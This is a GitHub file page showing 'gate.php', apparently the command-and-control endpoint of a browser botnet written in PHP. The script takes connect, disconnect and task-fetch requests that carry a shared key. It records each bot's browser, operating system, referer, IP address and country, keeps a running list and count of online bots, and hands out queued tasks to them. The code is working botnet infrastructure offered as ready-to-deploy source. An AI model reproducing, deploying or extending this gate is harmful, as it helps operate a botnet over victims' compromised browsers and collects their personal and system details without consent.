-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathgate.php
89 lines (85 loc) · 5.04 KB
/
gate.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
<?php
header('Access-Control-Allow-Origin: *');
require("./config.php");
if(isset($_GET['connect']) && $_GET['connect'] == $connectKey && isset($_GET['browsertype']) && isset($_GET['osname']) && isset($_GET['referer']) && isset($_GET['rand'])) {
$browserType = htmlspecialchars($_GET['browsertype'], ENT_QUOTES); //XSS security
$OSName = htmlspecialchars($_GET['osname'], ENT_QUOTES); //XSS security
$referer = htmlspecialchars($_GET['referer'], ENT_QUOTES); //XSS security
$rand = htmlspecialchars($_GET['rand'], ENT_QUOTES); //XSS security
$fp = fopen($logfile, "a") or die("Unable to open file!");
fwrite($fp, "[" . $date . "] [<img src='" . $flagsdir . "/" . $countrycode . ".png'/>] [" . $browserType . "] [" . $OSName . "] [" . $referer . "] [" . $rand . "] " . htmlspecialchars($_SERVER['REMOTE_ADDR'], ENT_QUOTES) . " connected.\r\n") or die("Unable to write to file!");
fflush($fp);
fclose($fp);
$fp = fopen($onlinebotlist, "a") or die("Unable to open file!");
$botlist = explode("\r\n", file_get_contents($onlinebotlist));
$botexists = false;
foreach($botlist as &$bot) {
$bot = str_replace("\r\n", "", $bot);
if(strpos($bot, $_SERVER['REMOTE_ADDR']) != false && strpos($bot, $browserType) != false && strpos($bot, $OSName) != false && strpos($bot, $referer) == false) {
$botexists = true;
//bot is already online. do nothing.
}
}
if(!$botexists) { //bot is not online. add it to the online list
fwrite($fp, $date . "|" . $countrycode . "|" . $browserType . "|" . $OSName . "|" . $referer . "|" . $rand . "|" . $_SERVER['REMOTE_ADDR'] . "\r\n") or die("Unable to write to file!");
file_put_contents($onlinefile, intval(file_get_contents($onlinefile))+1);
}
fflush($fp);
fclose($fp);
} else if(isset($_GET['disconnect']) && $_GET['disconnect'] == $connectKey && isset($_GET['browsertype']) && isset($_GET['osname']) && isset($_GET['rand'])) {
$browserType = htmlspecialchars($_GET['browsertype'], ENT_QUOTES); //XSS security
$OSName = htmlspecialchars($_GET['osname'], ENT_QUOTES); //XSS security
$referer = htmlspecialchars($_GET['referer'], ENT_QUOTES); //XSS security
$rand = htmlspecialchars($_GET['rand'], ENT_QUOTES); //XSS security
$fp = fopen($logfile, "a") or die("Unable to open file!");
fwrite($fp, "[" . $date . "] [<img src='" . $flagsdir . "/" . $countrycode . ".png'/>] [" . $browserType . "] [" . $OSName . "] [" . $referer . "] [" . $rand . "] " . htmlspecialchars($_SERVER['REMOTE_ADDR'], ENT_QUOTES) . " disconnected.\r\n") or die("Unable to write to file!");
fflush($fp);
fclose($fp);
$botlist = explode("\r\n", file_get_contents($onlinebotlist));
$loc = 0;
foreach($botlist as &$bot) {
$bot = str_replace("\r\n", "", $bot);
if(strpos($bot, $_SERVER['REMOTE_ADDR']) != false && strpos($bot, $browserType) != false && strpos($bot, $OSName) != false && strpos($bot, $referer) == false) {
array_splice($botlist, $loc, 1);
$online = intval(file_get_contents($onlinefile));
if($online > 0){
file_put_contents($onlinefile, $online-1);
} else if($online < 0) {
file_put_contents($onlinefile, "0");
}
}
$loc++;
}
$fp = fopen($onlinebotlist, "w") or die("Unable to open file!");
foreach($botlist as &$bot) {
$bot = str_replace("\r\n", "", $bot);
if($bot != "") {
fwrite($fp, $bot . "\r\n") or die("Unable to write to file!");
}
}
fflush($fp);
fclose($fp);
} else if(isset($_GET['gettasks']) && $_GET['gettasks'] == $connectKey && isset($_GET['browsertype']) && isset($_GET['osname']) && isset($_GET['referer']) && isset($_GET['rand'])) {
$browserType = htmlspecialchars($_GET['browsertype'], ENT_QUOTES); //XSS security
$OSName = htmlspecialchars($_GET['osname'], ENT_QUOTES); //XSS security
$referer = htmlspecialchars($_GET['referer'], ENT_QUOTES); //XSS security
$rand = htmlspecialchars($_GET['rand'], ENT_QUOTES); //XSS security
$fp = fopen($onlinebotlist, "a") or die("Unable to open file!");
$botlist = explode("\r\n", file_get_contents($onlinebotlist));
$botexists = false;
foreach($botlist as &$bot) {
$bot = str_replace("\r\n", "", $bot);
if(strpos($bot, $_SERVER['REMOTE_ADDR']) != false && strpos($bot, $browserType) != false && strpos($bot, $OSName) != false && strpos($bot, $referer) != false) {
$botexists = true;
//bot is already online. do nothing.
}
}
if(!$botexists) { //bot is not online. add it to the online list
fwrite($fp, $date . "|" . $countrycode . "|" . $browserType . "|" . $OSName . "|" . $referer . "|" . $rand . "|" . $_SERVER['REMOTE_ADDR'] . "\r\n") or die("Unable to write to file!");
file_put_contents($onlinefile, intval(file_get_contents($onlinefile))+1);
}
fflush($fp);
fclose($fp);
echo file_get_contents($tasklist);
}
?>